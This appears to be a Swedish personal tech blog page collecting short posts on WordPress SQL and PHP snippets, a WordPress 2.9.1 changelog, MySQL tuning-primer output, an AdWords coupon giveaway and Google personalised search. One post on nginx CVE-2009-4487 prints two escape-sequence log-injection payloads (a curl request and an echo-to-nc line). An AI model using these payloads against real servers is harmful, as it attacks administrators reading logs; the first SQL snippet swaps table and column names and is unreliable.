Hitta och ersätt i wordpress inlägg
Tänkte bara skriva upp en liten snippet för att hitta och ersätta saker i wordpress inlägg.
Snippet:
UPDATE wordpress SET wp_posts = replace(wp_posts,”wordpress 3.0″,”wordpress 3.1″);
Tänkte bara skriva upp en liten snippet för att hitta och ersätta saker i wordpress inlägg.
Snippet:
UPDATE wordpress SET wp_posts = replace(wp_posts,”wordpress 3.0″,”wordpress 3.1″);
Skänker bort en Google Adwords kupong på 750 kronor till någon som har användning för den:
39ZQ-N5V6-RNAF-W4UE-9R2W
Gäller tyvärr endast nya kunder, så jag har ingen användning för den.
Står också så här på kupongen: Erbjudandet på 750 SEK upphör 28/02/2010, Därefter gäller 500 SEK.
Nedan kommer en snippet för att ta bort taggar som inte förekommer i mer än 2 poster, kan säkert vara användbart i framtiden.
$arg = array('offset' => 0, ‘number’ => 0, ‘hide_empty’ => 0);
$nuffer=’2′; //Ta bort taggar med mindre antal poster än detta nummer
$taggar = get_terms( ‘post_tag’, $arg );
$antal_taggar = 0;
foreach ($taggar as $tagg) {
if ($tagg->count < $nuffer) {
wp_delete_term($tagg->term_id,’post_tag’);
echo ”” . $tagg->name . ” [Removed]”;
$antal_taggar++;
}
}
echo $antal_taggar . ” borttagna.”;
?>
Vinn en Nexus One av CityNetwork, bli en fan av deras facebook grupp och länka ett blogginlägg är det man behöver göra.
Måste ta och skriva ner vissa saker ibland annars glömmer jag det, och varför inte skriva dom här?
För att replacea någon text i mysql använder jag denna:
UPDATE posts SET post_content = replace(post_content,”arf”,”")
Fick mail i dagarna om en ”Terminal Escape Sequence in Logs Command Injection Vulnerability” i nginx vilket var intressant, särskillt dÃ¥ exempelvis wordpress.com använder sig av nginx för lastbalansering.
Dock är det bara nginx 0.7.64 som är sårbar.
Exempel 1:
curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
Exempel 2:
echo -en ”GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d” > payload nc localhost 80 < payload
Det krävs även att användaren öppnar loggfilerna sedan i terminalen.
Lite kuriosa nedan:
CVE: CVE-2009-4487
Bugtraq ID: 37711
Lösning: Uppgradera din version av nginx
Nu har några av buggarna som hittats i WordPress 2.9 fixats i WordPress 2.9.1.
Här nedan kommer listan över vad som fixats i denna version
#11560 Update-core.php small validation fix. enhancement low Validation 2.9
#11488 Rotate counter-clockwise tooltip in ”Edit Media” is spelt incorrectly defect (bug) normal Media 2.9
#11492 Lack of escaping in _wp_comment_row() defect (bug) normal Administration 2.9
#11499 curl_setopt() In Feed Options? defect (bug) normal Feeds 2.9
#11502 Some buttons have gone square in 2.9 azaozz defect (bug) normal UI 2.9
#11509 sanitize_user_object() throws fatal error on user property objects ryan defect (bug) normal Users 2.9
#11518 Fatal error: Call to undefined method WP_Error::__destruct() defect (bug) normal Administration 2.9
#11525 Plugin Compatibility Fails to Consider Future RC Versions westi defect (bug) normal Upgrade/Install 2.9
#11528 sanitize_text_field() issue with UTF-8 characters defect (bug) normal Formatting 2.9
#11536 Rotate image buttons don’t show up on PHP installs without imagerotate() defect (bug) normal Editor 2.9
#11537 Warning: Cannot modify header information… in class-json.php Viper007Bond defect (bug) normal Warnings/Notices 2.9
#11551 Increase download timeout defect (bug) normal Upgrade/Install 2.9
#11558 timezone reset defect (bug) normal Date/Time 2.9
#11582 Code editor bug in Safari defect (bug) normal Editor 2.9
#11627 parts of metadata API fail on user metadata defect (bug) normal General 2.9
#11638 update-core.php doesn’t remove the upgrade files if the upgrade fails due to too old of a PHP or MySQL version defect (bug) normal Upgrade/Install 2.9
#11649 Upgrades Fail Because of [11883] defect (bug) normal Upgrade/Install 2.9
#11661 warning on line 790 of wp-includes/rewrite.php ryan defect (bug) normal Rewrite Rules 2.9
#11666 upgrade.php dies hard on MySQL < 4.1.0 defect (bug) normal Upgrade/Install 2.9
#11673 Need confirmation/undo/something for media delete defect (bug) normal Administration 2.9
#11219 could not be converted to UTF-8 / WordPress should cache failed feed fetches so as to avoid overloading feed sources defect (bug) high Optimization 2.9
#11505 cron stopped working with standard configuration westi defect (bug) high Cron 2.9
#11529 '$wpdb' typo in wp-admin/maint/repair.php causing table prefix not to appear defect (bug) high Administration 2.9
#11620 Upload Handling. Use is_numeric instead of ctype_digit. defect (bug) high Upload 2.9
Ladda ner WordPress 2.9.1 »
Ladda ner Svenska WordPress 2.9.1 »
Tänkte tipsa om ännu ett verktyg för att optimera mysql och hålla ordning på allt, och det är tuning-primer.sh
Du kan ladda hem scriptet här:
http://www.day32.com/MySQL/tuning-primer.sh
Här nedan kan du se ett exempel på resultatet från tuning-primer.sh:
— MYSQL PERFORMANCE TUNING PRIMER –
– By: Matthew Montgomery -MySQL Version 5.0.51a-24+lenny2-log i486
Uptime = 0 days 0 hrs 0 min 14 sec
Avg. qps = 73
Total Questions = 1028
Threads Connected = 2Warning: Server has not been running for at least 48hrs.
It may not be safe to use these recommendationsTo find out more information on how each of these
runtime variables effects performance visit:http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html
Visit http://www.mysql.com/products/enterprise/advisors.html
for info about MySQL’s Enterprise Monitoring and Advisory ServiceSLOW QUERIES
The slow query log is enabled.
Current long_query_time = 2 sec.
You have 0 out of 1124 that take longer than 2 sec. to complete
Your long_query_time seems to be fineBINARY UPDATE LOG
The binary update log is NOT enabled.
You will not be able to do point in time recovery
See http://dev.mysql.com/doc/refman/5.0/en/point-in-time-recovery.htmlWORKER THREADS
Current thread_cache_size = 8
Current threads_cached = 1
Current threads_per_sec = 0
Historic threads_per_sec = 0
Your thread_cache_size is fineMAX CONNECTIONS
Current max_connections = 125
Current threads_connected = 1
Historic max_used_connections = 2
The number of used connections is 1% of the configured maximum.
You are using less than 10% of your configured max_connections.
Lowering max_connections could help to avoid an over-allocation of memory
See ”MEMORY USAGE” section to make sure you are not over-allocatingNo InnoDB Support Enabled!
MEMORY USAGE
Max Memory Ever Allocated : 71 M
Configured Max Per-thread Buffers : 328 M
Configured Max Global Buffers : 66 M
Configured Max Memory Limit : 394 M
Physical Memory : 1011 M
Max memory limit seem to be within acceptable normsKEY BUFFER
Current MyISAM index space = 14 M
Current key_buffer_size = 16 M
Key cache miss rate is 1 : 13
Key buffer free ratio = 87 %
Your key_buffer_size seems to be fineQUERY CACHE
Query cache is enabled
Current query_cache_size = 40 M
Current query_cache_used = 388 K
Current query_cache_limit = 1 M
Current Query cache Memory fill ratio = .94 %
Current query_cache_min_res_unit = 4 K
Your query_cache_size seems to be too high.
Perhaps you can use these resources elsewhere
MySQL won’t cache query results that are larger than query_cache_limit in sizeSORT OPERATIONS
Current sort_buffer_size = 2 M
Current read_rnd_buffer_size = 256 K
Sort buffer seems to be fineJOINS
Current join_buffer_size = 132.00 K
You have had 0 queries where a join could not use an index properly
Your joins seem to be using indexes properlyOPEN FILES LIMIT
Current open_files_limit = 4247 files
The open_files_limit should typically be set to at least 2x-3x
that of table_cache if you have heavy MyISAM usage.
Your open_files_limit value seems to be fineTABLE CACHE
Current table_cache value = 2056 tables
You have a total of 673 tables
You have 673 open tables.
The table_cache value seems to be fineTEMP TABLES
Current max_heap_table_size = 16 M
Current tmp_table_size = 32 M
Of 208 temp tables, 16% were created on disk
Effective in-memory tmp_table_size is limited to max_heap_table_size.
Created disk tmp tables ratio seems fineTABLE SCANS
Current read_buffer_size = 128 K
Current table scan ratio = 7 : 1
read_buffer_size seems to be fineTABLE LOCKING
Current Lock Wait ratio = 0 : 2056
Your table locking seems to be fine
Nu har förhoppningsvis den sista uppdateringen av wordpress släppts, iallafall för i år, och det är wordpress 2.9 som är sist ut.
Bland dom nya sakerna som finns att se i denna nya version så är det Inbyggd bilredigering, Inbyggd funktion för att automatiskt bädda in media (så som YouTube osv), Papperskorg (möjligheten att återställa inlägg/sidor/kommentarer innan de raderas permanent), Massuppgradering av tillägg, Miniatyrbilder för sidor och inlägg.
Läs mer om vilka nya funktioner som kommer här
Ladda ner WordPress 2.9 »
Ladda ner Svenska WordPress 2.9 »
Google har även lanserat personliga sökresultat, vilket många verkar opponera sig mot för att själva SEO jobben kommer försvinna.
Men frågan är om det gör det, om du har en intressant sida som folk besöker så kommer du ju öka i deras serp också, antagligen så vill du inte ha den besökare som bara halkat fel in på din sida endå?
Förr har personliga sökresultat varit aktiverat endast för inloggade användare hos google, numera kommer det även gälla för icke inloggade användare.
Exempel:
Ett hockey fan söker efter: ”TimrÃ¥” och han fÃ¥r dÃ¥ upp TimrÃ¥ IK’s hemsida som första resultat.
Om någon från utomlands sedan söker så får dom förmodligen upp en hemsida om själva Timrå och inte ett hockey lag.
Men vi får väll se hur det går, jag har inte märkt någon jätteskillnad ännu, men det vore ju tråkigt om man tappar trafiken man har.
Läs mer på googles blogg
Kommentarer